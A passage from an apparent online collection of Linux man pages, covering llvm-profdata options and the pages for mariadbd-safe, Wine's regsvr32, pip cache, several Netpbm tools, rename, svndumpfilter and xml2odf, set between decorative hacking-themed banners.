–prof-sym-list=<path>
Specify a file which contains a list of symbols to generate profile symbol list in the profile. This option can only be used with sample-based profile in extbinary format. The entries in this file are newline-separated.

–compress-all-sections=[true|false]
Compress all sections when writing the profile. This option can only be used with sample-based profile in extbinary format.

–use-md5=[true|false]
Use MD5 to represent string in name table when writing the profile. This option can only be used with sample-based profile in extbinary format.

–gen-partial-profile=[true|false]
Mark the profile to be a partial profile which only provides partial profile coverage for the optimized target. This option can only be used with sample-based profile in extbinary format.

–supplement-instr-with-sample=<file>
Supplement an instrumentation profile with sample profile. The sample profile is the input of the flag. Output will be in instrumentation format (only works with -instr).

–zero-counter-threshold=<float>
For the function which is cold in instr profile but hot in sample profile, if the ratio of the number of zero counters divided by the total number of counters is above the threshold, the profile of the function will be regarded as being harmful for performance and will be dropped.

–instr-prof-cold-threshold=<int>
User specified cold threshold for instr profile which will override the cold threshold got from profile summary.

–suppl-min-size-threshold=<int>
If the size of a function is smaller than the threshold, assume it can be inlined by PGO early inliner and it will not be adjusted based on sample profile.

–debug-info=<path>
Specify the executable or .dSYM that contains debug info for the raw profile. When -debug-info-correlate was used for instrumentation, use this option to correlate the raw profile.

EXAMPLES

Basic Usage

Merge three profiles:

llvm-profdata merge foo.profdata bar.profdata baz.profdata -output merged.profdata

Weighted Input

The input file foo.profdata is especially important, multiply its counts by 10:

llvm-profdata merge –weighted-input=10,foo.profdata bar.profdata baz.profdata –output merged.profdata

Exactly equivalent to the previous invocation (explicit form; useful for programmatic invocation):

llvm-profdata merge –weighted-input=10,foo.profdata –weighted-input=1,bar.profdata –weighted-input=1,baz.profdata –output merged.profdata

SHOW

SYNOPSIS

llvm-profdata show [options] [filename]

DESCRIPTION

llvm-profdata show takes a profile data file and displays the information about the profile counters for this file and for any of the specified function(s).

If filename is omitted or is -, then llvm-profdata show reads its input from standard input.

OPTIONS

–all-functions
Print details for every function.

–binary-ids
Print embedded binary ids in a profile.

–counts
Print the counter values for the displayed functions.

–show-format=<text|json|yaml>
Emit output in the selected format if supported by the provided profile type.

–function=<string>
Print details for a function if the function’s name contains the given string.

–help
Print a summary of command line options.

–output=<output>, -o
Specify the output file name. If output is - or it isn’t specified, then the output is sent to standard output.

–instr (default)
Specify that the input profile is an instrumentation-based profile.

–text
Instruct the profile dumper to show profile counts in the text format of the instrumentation-based profile data representation. By default, the profile information is dumped in a more human readable form (also in text) with annotations.

–topn=<n>
Instruct the profile dumper to show the top n functions with the hottest basic blocks in the summary section. By default, the topn functions are not dumped.

–sample
Specify that the input profile is a sample-based profile.

–memop-sizes
Show the profiled sizes of the memory intrinsic calls for shown functions.

–value-cutoff=<n>
Show only those functions whose max count values are greater or equal to n. By default, the value-cutoff is set to 0.

–list-below-cutoff
Only output names of functions whose max count value are below the cutoff value.

–profile-version
Print profile version.

–showcs
Only show context sensitive profile counts. The default is to filter all context sensitive profile counts.

–show-prof-sym-list=[true|false]
Show profile symbol list if it exists in the profile. This option is only meaningful for sample-based profile in extbinary format.

–show-sec-info-only=[true|false]
Show basic information about each section in the profile. This option is only meaningful for sample-based profile in extbinary format.

–debug-info=<path>
Specify the executable or .dSYM that contains debug info for the raw profile. When -debug-info-correlate was used for instrumentation, use this option to show the correlated functions from the raw profile.

–covered
Show only the functions that have been executed, i.e., functions with non-zero counts.

OVERLAP

SYNOPSIS

llvm-profdata overlap [options] [base profile file] [test profile file]

DESCRIPTION

llvm-profdata overlap takes two profile data files and displays the overlap of counter distribution between the whole files and between any of the specified functions.

In this command, overlap is defined as follows: Suppose base profile file has the following counts: {c1_1, c1_2, …, c1_n, c1_u_1, c2_u_2, …, c2_u_s}, and test profile file has {c2_1, c2_2, …, c2_n, c2_v_1, c2_v_2, …, c2_v_t}. Here c{1|2}_i (i = 1 .. n) are matched counters and c1_u_i (i = 1 .. s) and c2_v_i (i = 1 .. v) are unmatched counters (or counters only existing in) base profile file and test profile file, respectively. Let sum_1 = c1_1 + c1_2 + … + c1_n + c1_u_1 + c2_u_2 + … + c2_u_s, and sum_2 = c2_1 + c2_2 + … + c2_n + c2_v_1 + c2_v_2 + … + c2_v_t. overlap = min(c1_1/sum_1, c2_1/sum_2) + min(c1_2/sum_1, c2_2/sum_2) + … + min(c1_n/sum_1, c2_n/sum_2).

The result overlap distribution is a percentage number, ranging from 0.0% to 100.0%, where 0.0% means there is no overlap and 100.0% means a perfect overlap.

Here is an example, if base profile file has counts of {400, 600}, and test profile file has matched counts of {60000, 40000}. The overlap is 80%.

OPTIONS

–function=<string>
Print details for a function if the function’s name contains the given string.

–help
Print a summary of command line options.

–output=<output>, -o
Specify the output file name. If output is - or it isn’t specified, then the output is sent to standard output.

–value-cutoff=<n>
Show only those functions whose max count values are greater or equal to n. By default, the value-cutoff is set to max of unsigned long long.

–cs
Only show overlap for the context sensitive profile counts. The default is to show non-context sensitive profile counts.

EXIT STATUS

llvm-profdata returns 1 if the command is omitted or is invalid, if it cannot read input files, or if there is a mismatch between their data.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1700 - Linux cli command mariadbd-safe

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mariadbd-safe and provides detailed information about the command mariadbd-safe, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mariadbd-safe.

NAME 🖥️ mariadbd-safe 🖥️

safe - MariaDB server startup script (mysqld_safe is now a symlink to mariadbd-safe)

SYNOPSIS

mysqld_safe options

DESCRIPTION

mysqld_safe is the recommended way to start a mysqld server on Unix. mysqld_safe adds some safety features such as restarting the server when an error occurs and logging runtime information to an error log file. Descriptions of error logging is given later in this section.

mysqld_safe tries to start an executable named mysqld. To override the default behavior and specify explicitly the name of the server you want to run, specify a –mysqld or –mysqld-version option to mysqld_safe. You can also use –ledir to indicate the directory where mysqld_safe should look for the server.

Many of the options to mysqld_safe are the same as the options to mysqld.

Options unknown to mysqld_safe are passed to mysqld if they are specified on the command line, but ignored if they are specified in the [mysqld_safe] or [mariadb_safe] groups of an option file.

mysqld_safe reads all options from the [mysqld], [server], [mysqld_safe], and [mariadb_safe] sections in option files. For example, if you specify a [mysqld] section like this, mysqld_safe will find and use the –log-error option:

[mysqld] log-error=error.log

For backward compatibility, mysqld_safe also reads [safe_mysqld] sections, although you should rename such sections to [mysqld_safe] in current installations.

mysqld_safe supports the options in the following list. It also reads option files and supports the options for processing them.

·

–help

Display a help message and exit.

·

**–basedir=**path

The path to the MariaDB installation directory.

·

**–core-file-size=**size

The size of the core file that mysqld should be able to create. The option value is passed to ulimit -c.

·

**–crash-script=**file

Script to call in the event of mysqld crashing.

·

**–datadir=**path

The path to the data directory.

·

**–defaults-extra-file=**path

The name of an option file to be read in addition to the usual option files. This must be the first option on the command line if it is used. If the file does not exist or is otherwise inaccessible, the server will exit with an error.

·

**–defaults-file=**file_name

The name of an option file to be read instead of the usual option files. This must be the first option on the command line if it is used.

·

–flush-caches

Flush and purge buffers/caches before starting the server.

·

**–ledir=**path

If mysqld_safe cannot find the server, use this option to indicate the path name to the directory where the server is located.

·

**–log-error=**file_name

Write the error log to the given file.

·

**–malloc-lib=**lib

Preload shared library lib if available.

·

**–mysqld=**prog_name

The name of the server program (in the ledir directory) that you want to start. This option is needed if you use the MariaDB binary distribution but have the data directory outside of the binary distribution. If mysqld_safe cannot find the server, use the –ledir option to indicate the path name to the directory where the server is located.

·

**–mysqld-version=**suffix

This option is similar to the –mysqld option, but you specify only the suffix for the server program name. The basename is assumed to be mysqld. For example, if you use –mysqld-version=debug, mysqld_safe starts the mysqld-debug program in the ledir directory. If the argument to –mysqld-version is empty, mysqld_safe uses mysqld in the ledir directory.

·

**–nice=**priority

Use the nice program to set the server’s scheduling priority to the given value.

·

–no-auto-restart, –nowatch, –no-watch

Exit after starting mysqld.

·

–no-defaults

Do not read any option files. This must be the first option on the command line if it is used.

·

–numa-interleave

Run mysqld with its memory interleaved on all NUMA nodes.

·

**–open-files-limit=**count

The number of files that mysqld should be able to open. The option value is passed to ulimit -n. Note that you need to start mysqld_safe as root for this to work properly!

·

**–pid-file=**file_name

The path name of the process ID file.

·

**–plugin-dir=**dir_name

Directory for client-side plugins.

·

**–port=**port_num

The port number that the server should use when listening for TCP/IP connections. The port number must be 1024 or higher unless the server is started by the root system user.

·

–skip-kill-mysqld

Do not try to kill stray mysqld processes at startup. This option works only on Linux.

·

**–socket=**path

The Unix socket file that the server should use when listening for local connections.

·

–syslog, –skip-syslog

–syslog causes error messages to be sent to syslog on systems that support the logger program. –skip-syslog suppresses the use of syslog; messages are written to an error log file.

·

**–syslog-tag=**tag

For logging to syslog, messages from mysqld_safe and mysqld are written with a tag of mysqld_safe and mysqld, respectively. To specify a suffix for the tag, use **–syslog-tag=**tag, which modifies the tags to be mysqld_safe-tag and mysqld-tag.

·

**–timezone=**timezone

Set the TZ time zone environment variable to the given option value. Consult your operating system documentation for legal time zone specification formats.

·

–user={user_name|user_id}

Run the mysqld server as the user having the name user_name or the numeric user ID user_id. (“User” in this context refers to a system login account, not a MariaDB user listed in the grant tables.)

If you execute mysqld_safe with the –defaults-file or –defaults-extra-file option to name an option file, the option must be the first one given on the command line or the option file will not be used. For example, this command will not use the named option file:

mysql> mysqld_safe –port=port_num –defaults-file=file_name

Instead, use the following command:

mysql> mysqld_safe –defaults-file=file_name –port=port_num

The mysqld_safe script is written so that it normally can start a server that was installed from either a source or a binary distribution of MariaDB, even though these types of distributions typically install the server in slightly different locations. mysqld_safe expects one of the following conditions to be true:

·

The server and databases can be found relative to the working directory (the directory from which mysqld_safe is invoked). For binary distributions, mysqld_safe looks under its working directory for bin and data directories. For source distributions, it looks for libexec and var directories. This condition should be met if you execute mysqld_safe from your MariaDB installation directory (for example, /usr/local/mysql for a binary distribution).

·

If the server and databases cannot be found relative to the working directory, mysqld_safe attempts to locate them by absolute path names. Typical locations are /usr/local/libexec and /usr/local/var. The actual locations are determined from the values configured into the distribution at the time it was built. They should be correct if MariaDB is installed in the location specified at configuration time.

Because mysqld_safe tries to find the server and databases relative to its own working directory, you can install a binary distribution of MariaDB anywhere, as long as you run mysqld_safe from the MariaDB installation directory:

shell> cd mysql_installation_directory shell> bin/mysqld_safe &

If mysqld_safe fails, even when invoked from the MariaDB installation directory, you can specify the –ledir and –datadir options to indicate the directories in which the server and databases are located on your system.

When you use mysqld_safe to start mysqld, mysqld_safe arranges for error (and notice) messages from itself and from mysqld to go to the same destination.

There are several mysqld_safe options for controlling the destination of these messages:

·

–syslog: Write error messages to syslog on systems that support the logger program.

·

–skip-syslog: Do not write error messages to syslog. Messages are written to the default error log file (host_name.err in the data directory), or to a named file if the –log-error option is given.

·

**–log-error=**file_name: Write error messages to the named error file.

If none of these options is given, the default is –skip-syslog.

Note

If –syslog and –log-error are both given, a warning is issued and –log-error takes precedence.

When mysqld_safe writes a message, notices go to the logging destination (syslog or the error log file) and stdout. Errors go to the logging destination and stderr.

Normally, you should not edit the mysqld_safe script. Instead, configure mysqld_safe by using command-line options or options in the [mysqld_safe] section of a my.cnf option file. In rare cases, it might be necessary to edit mysqld_safe to get it to start the server properly. However, if you do this, your modified version of mysqld_safe might be overwritten if you upgrade MariaDB in the future, so you should make a copy of your edited version that you can reinstall.

On NetWare, mysqld_safe is a NetWare Loadable Module (NLM) that is ported from the original Unix shell script. It starts the server as follows:

1.

Runs a number of system and option checks.

2.

Runs a check on MyISAM tables.

3.

Provides a screen presence for the MariaDB server.

4.

Starts mysqld, monitors it, and restarts it if it terminates in error.

5.

Sends error messages from mysqld to the host_name.err file in the data directory.

6.

Sends mysqld_safe screen output to the host_name.safe file in the data directory.

COPYRIGHT

Copyright 2007-2008 MySQL AB, 2008-2010 Sun Microsystems, Inc., 2010-2020 MariaDB Foundation

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with the program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA or see http://www.gnu.org/licenses/.

SEE ALSO

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

AUTHOR

MariaDB Foundation (http://www.mariadb.org/).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1701 - Linux cli command regsvr32

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command regsvr32 and provides detailed information about the command regsvr32, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the regsvr32.

NAME 🖥️ regsvr32 🖥️

Wine DLL Registration Server

SYNOPSIS

regsvr32 [/u] [/s] [/n] [/i[**:**cmdline]] dllname

DESCRIPTION

regsvr32 is the Wine dll registration server, designed to be compatible with its Microsoft Windows counterpart. By default, it will register the given dll.

COMMANDS

/u
Unregister the specified dll.

/s
Run regsvr32 silently (will not show any GUI dialogs).

/i
Call DllInstall passing it an optional cmdline. When used with /u calls DllUninstall.

/n
Do not call DllRegisterServer; this option must be used with /i.

BUGS

Bugs can be reported on the

Wine bug tracker

AVAILABILITY

regsvr32 is part of the Wine distribution, which is available through WineHQ, the

Wine development headquarters

SEE ALSO

wine(1),

Wine documentation and support

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1702 - Linux cli command pip3-cache

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pip3-cache and provides detailed information about the command pip3-cache, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pip3-cache.

NAME 🖥️ pip3-cache 🖥️

cache - description of pip3 cache command

DESCRIPTION

Inspect and manage pip’s wheel cache.

Subcommands:

  • dir: Show the cache directory.

  • info: Show information about the cache.

  • list: List filenames of packages stored in the cache.

  • remove: Remove one or more package from the cache.

  • purge: Remove all items from the cache.

<pattern> can be a glob expression or a package name.

USAGE

python -m pip cache dir python -m pip cache info python -m pip cache list [] [–format=[human, abspath]] python -m pip cache remove python -m pip cache purge

OPTIONS

–format <list_format>
Select the output format among: human (default) or abspath

(environment variable: PIP_FORMAT)

AUTHOR

pip developers

COPYRIGHT

The pip developers

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1703 - Linux cli command pbmlife

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmlife and provides detailed information about the command pbmlife, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmlife.

.

NAME 🖥️ pbmlife 🖥️

apply Conway’s rules of Life to a PBM image

SYNOPSIS

pbmlife [pbmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pbmlife reads a PBM image as input, applies the rules of Life to it for one generation, and produces a PBM image as output.

A white pixel in the image is interpreted as a live beastie, and a black pixel as an empty space.

OPTIONS

There are no command line options defined specifically for pbmlife, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pbm(1)

AUTHOR

Copyright (C) 1988, 1991 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmlife.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1704 - Linux cli command neotoppm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command neotoppm and provides detailed information about the command neotoppm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the neotoppm.

.

NAME 🖥️ neotoppm 🖥️

convert an Atari Neochrome .neo into a PPM image

SYNOPSIS

neotoppm [neofile]

DESCRIPTION

This program is part of Netpbm(1) .

neotoppm reads an Atari Neochrome .neo file as input and produces a PPM image as output.

OPTIONS

There are no command line options defined specifically for neotoppm, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

ppmtoneo(1) , ppm(1)

AUTHOR

Copyright (C) 2001 by Teemu Hukkanen <[email protected]>, based on pi1toppm by Steve Belczyk ([email protected]) and Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/neotoppm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1705 - Linux cli command rename

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rename and provides detailed information about the command rename, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rename.

NAME 🖥️ rename 🖥️

rename - renames multiple files

SYNOPSIS

file-rename-h|-m|-V ] [ -v ] [ -0 ] [ -n ] [ -f ] [ -d ] [ -u [enc]] [ -e|-E perlexpr]*|perlexprfiles ]

DESCRIPTION

file-rename renames the filenames supplied according to the rule specified as the first argument. The perlexpr argument is a Perl expression which is expected to modify the $_ string in Perl for at least some of the filenames specified. If a given filename is not modified by the expression, it will not be renamed. If no filenames are given on the command line, filenames will be read via standard input.

Examples (Larry Wall, 1992)

For example, to rename all files matching *.bak to strip the extension, you might say

file-rename – s/\bak$// *.bak

To translate uppercase names to lower, you’d use

file-rename y/A-Z/a-z/ ./*

Examples rewritten to avoid globs which could inject options.

More examples (2020)

You can also use rename to move files between directories, possibly at the same time as making other changes (but see –filename)

file-rename y/A-Z/a-z/;s/^/my_new_dir/ ./*.*

You can also write the statements separately (see -e/-E)

file-rename -E y/A-Z/a-z/ -E s/^/my_new_dir/ – *.*

You can use the predefined variables $a, $b in the code; for instance to create sequences of numbers

rename -e $a++;s/\w+/file_$a/ – *.*

OPTIONS

-v, –verbose
Verbose: print names of files successfully renamed.

-0, –null
Use � as record separator when reading from STDIN.

-n, –nono
No action: print names of files to be renamed, but don’t rename.

-f, –force
Over write: allow existing files to be over-written.

–path, –fullpath
Rename full path: including any directory component. DEFAULT

-d, –filename, –nopath, –nofullpath
Do not rename directory: only rename filename component of path.

-h, –help
Help: print SYNOPSIS and OPTIONS.

-m, –man
Manual: print manual page.

-V, –version
Version: show version number.

-u, –unicode [encoding]
Treat filenames as perl (unicode) strings when running the user-supplied code. Decode/encode filenames using encoding, if present. encoding is optional: if omitted, the next argument should be an option starting with ‘-’, for instance -e.

-e
Expression: code to act on files name. May be repeated to build up code (like perl -e). If no -e, the first argument is used as code.

-E
Statement: code to act on files name, as -e but terminated by ‘;’.

ENVIRONMENT

No environment variables are used.

AUTHOR

Larry Wall

SEE ALSO

mv (1), perl (1)

DIAGNOSTICS

If you give an invalid Perl expression you’ll get a syntax error.

BUGS

The original rename did not check for the existence of target filenames, so had to be used with care.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1706 - Linux cli command svndumpfilter

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command svndumpfilter and provides detailed information about the command svndumpfilter, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the svndumpfilter.

NAME 🖥️ svndumpfilter 🖥️

Filter a subversion repository ‘dumpfile’.

SYNOPSIS

svndumpfilter command [options & args]

OVERVIEW

Subversion is a version control system, which allows you to keep old versions of files and directories (usually source code), keep a log of who, when, and why changes occurred, etc., like CVS, RCS or SCCS. Subversion keeps a single copy of the master sources. This copy is called the source ``repository’’; it contains all the information to permit extracting previous versions of those files at any time.

For more information about the Subversion project, visit http://subversion.apache.org.

Documentation for Subversion and its tools, including detailed usage explanations of the svn, svnadmin, svnserve and svnlook programs, historical background, philosophical approaches and reasonings, etc., can be found at http://svnbook.red-bean.com/.

Run `svndumpfilter help’ to access the built-in tool documentation.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1707 - Linux cli command xml2odf

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xml2odf and provides detailed information about the command xml2odf, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xml2odf.

NAME 🖥️ xml2odf 🖥️

Create ODF package from OpenDocument in XML form

SYNOPSIS

xml2odf [-o outputfile] [-s] [inputfile]

DESCRIPTION

OpenDocument can be a complete office document in a single XML file. The script will take such a document and create a package. This is mainly useful as a postprocesser of a program producing XML, such as a stylesheet.

“Inputfile” is assumed to be an OpenDocument file in XML form. If there is no inputfile, the program will read from standard input. The flag -s adds correct suffix to the filename according to what mime type is found in the XML file, in cause you dont know already what document type you are packaging.

If output file is not specified output will be to standard out.

Section 2.1.1 of Open Document Format for Office Applications says that the [content.xml] file contains the document content, along with the automatic styles needed for the document content. The [styles.xml] file contains all the named styles of a document, along with the automatic styles needed for the named styles. The application doesnt know which automatic style is needed for what, so it puts the same set of automatic styles into both files.

One could assume that the inverse operation would be easier, but OpenOffice.org is quite happy to use the same names for two different automatic styles. For instance, a style used inside <style:footer> can have the same name as one used inside <office:text> but be a different paragraph style. This is reported as bug #90494 (http://www.openoffice.org/issues/show_bug.cgi?id=90494)

EXAMPLE

xml2odf -o testdocument -s xml-file

SEE ALSO

odftools(1), odf2xml(1)

BUGS

Doesnt handle external data – images and such.

The library used for the parsing of XML expands empty elements from <element/> to <element></element>. It should not have an effect on the document parsing.

AUTHOR

Søren Roug

Original author

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

